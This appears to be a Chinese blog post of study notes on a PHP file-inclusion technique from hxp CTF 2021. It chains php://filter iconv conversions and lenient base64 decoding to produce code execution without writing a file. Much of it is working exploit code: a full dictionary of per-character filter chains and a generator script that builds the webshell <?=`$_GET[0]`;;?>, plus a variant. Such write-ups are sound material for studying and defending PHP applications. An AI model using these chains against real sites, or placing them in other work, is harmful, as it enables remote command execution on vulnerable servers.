php base64_decode宽松解析特性+iconv文件包含无落地利用
前言:php 文件包含无文件落地利用学习笔记
参考文章:https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
参考文章:https://tttang.com/archive/1395/
参考文章:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
文件包含无落地文件利用是在hxp CTF 2021中发现的解决方法,通过PHP Base64 Filter宽松解析特性和iconv filter编码转换构造命令执行
php base64_decode的宽松解析特性
php的base64解码操作有一个宽松解析特性,也就是说合法字符只有A-Za-z0-9\/\=\+
,其他字符会自动被忽略
php > var_dump(base64_decode("\xab\xcddGhpc19pc190ZXN0\xef")); string(12) "this_is_test"
注:通过php的base64_decode宽松解析特性还可以用来解决之前的<?php exit;?>
问题,直接以base64_decode解码写入对应的base64编码的webshell数据即可解决
iconv转换
参考convert.iconv所支持的编码集:https://www.php.net/manual/en/mbstring.supported-encodings.php
本地机器可以通过iconv -l
来查看支持的编码集
这边可以看到通过convert.iconv.UTF8.CSISO2022KR将当前字符串的UTF-8编码集转换到CSISO2022KR编码集来打印结果的时候,前面会多一个.$)C
字符串
<?php $url = "php://filter/"; $url .= "convert.iconv.UTF8.CSISO2022KR"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; var_dump(file_get_contents($url));
注:利用convert.iconv.UTF8.CSISO2022KR转换每次都能多出一个.$)C
字符串来配凑各种可以利用的字符
获取'C'字符
那这边获取'C'字符就很容易了,通过配合base64_decode的宽松解析特性进行一次base64_decode就能把除了A-Za-z0-9\/\=\+
,其他字符会自动被忽略,然后再进行一次base64_encode就能恢复原来的字符串,结果如下所示
$url = "php://filter/"; $url .= "convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; var_dump(file_get_contents($url));
获取'8'字符
$url = "php://filter/"; $url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; var_dump(file_get_contents($url));
获取'8C'字符串
这里有个点需要注意的就是,如果要获取'8C'的话,那么你在转换的过程中就需要反转顺序来,因为是如果要获取'8C'的话,先构造.$)C
的来获取'C',然后在获取'C'的基础上,再其有'C'的字符串前面继续转换多出.$)C
,对该.$)C
转换出'8'的字符串,所以最终的生成过程应该是如下所示
$url = "php://filter/"; // get char C $url .= "convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode"; // restore $url .= "|convert.base64-decode|convert.base64-encode|"; // get char 8 $url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2"; // restore $url .= "|convert.base64-decode|convert.base64-encode"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; var_dump(file_get_contents($url));
构造webshell
这边已经提供好了一个webshell的构造数组,如下所示
<?php $base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"; // PD89YCRfR0VUWzBdYDs/Pg $conversions = array( 'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C' => 'convert.iconv.UTF8.CSISO2022KR', '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' ); $filters = "convert.base64-encode|"; # make sure to get rid of any equal signs in both the string we just generated and the rest of the file $filters .= "convert.iconv.UTF8.UTF7|"; foreach (str_split(strrev($base64_payload)) as $c) { $filters .= $conversions[$c] . "|"; $filters .= "convert.base64-decode|"; $filters .= "convert.base64-encode|"; $filters .= "convert.iconv.UTF8.UTF7|"; } $filters .= "convert.base64-decode"; $final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa"; // echo $final_payload; var_dump(file_get_contents($final_payload));
如果在自己机器上测试的时候,发现并不能有如下的效果,那么可能的原因就是当前机器不支持下面中的部分字符集,在使用的时候就会有如下所示报错的情况
问题1
这里需要注意的是这边写入的base64字符串是PD89YCRfR0VUWzBdYDs7Pz4=
,可以发现生成了两个;
,疑问是为什么是两个;
呢?是作者打多了吗还是什么
实际上如果只使用了一个分号,则编码结果为PD89YCRfR0VUWzBdYDs/Pg==
,这里 7
可能相对于/
比较好找一些,也可能是exp作者没有fuzz或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终base64编码中的斜杠。
但是上面这个不痛不痒的问题也可以进行解决,后续在PHP_INCLUDE_TO_SHELL_CHAR_DICT项目中已经枚举出了/
的字符集
问题2
还有一个问题就是上面的代码中可以看到还使用了convert.iconv.UTF8.UTF7
操作,这个有什么用呢?
convert.iconv.UTF8.UTF7
的用处是将等号转换为字母,之所以使用这个的原因是exp作者遇到过有时候等号会让convert.base64-decode
过滤器解析失败的情况,可以使用iconv从UTF8转换到UTF7,会把字符串中的任何等号变成一些base64字符。
PHP_INCLUDE_TO_SHELL_CHAR_DICT
在这个师傅提供的github项目中已经对相关的数字和字母都已经完成了FUZZ的操作,项目地址:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
除了构造上述的<?=`$_GET[0]`;;?>
以外,还能构造自己想要的字符串来进行利用,比如这边自己构造一个<?=`$_GET[0]`;?>
这边加上分号和字母g的对应的字符串转换即可,如下两条语句
convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8'
测试代码如下所示
<?php $base64_payload = "PD89YCRfR0VUWzBdYDs/Pg"; $conversions = array( 'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C' => 'convert.iconv.UTF8.CSISO2022KR', '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2', '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4', 'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8' ); $filters = "convert.base64-encode|"; # make sure to get rid of any equal signs in both the string we just generated and the rest of the file $filters .= "convert.iconv.UTF8.UTF7|"; foreach (str_split(strrev($base64_payload)) as $c) { $filters .= $conversions[$c] . "|"; $filters .= "convert.base64-decode|"; $filters .= "convert.base64-encode|"; $filters .= "convert.iconv.UTF8.UTF7|"; } $filters .= "convert.base64-decode"; $final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa"; // echo $final_payload; var_dump(file_get_contents($final_payload));
结果如下图所示
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY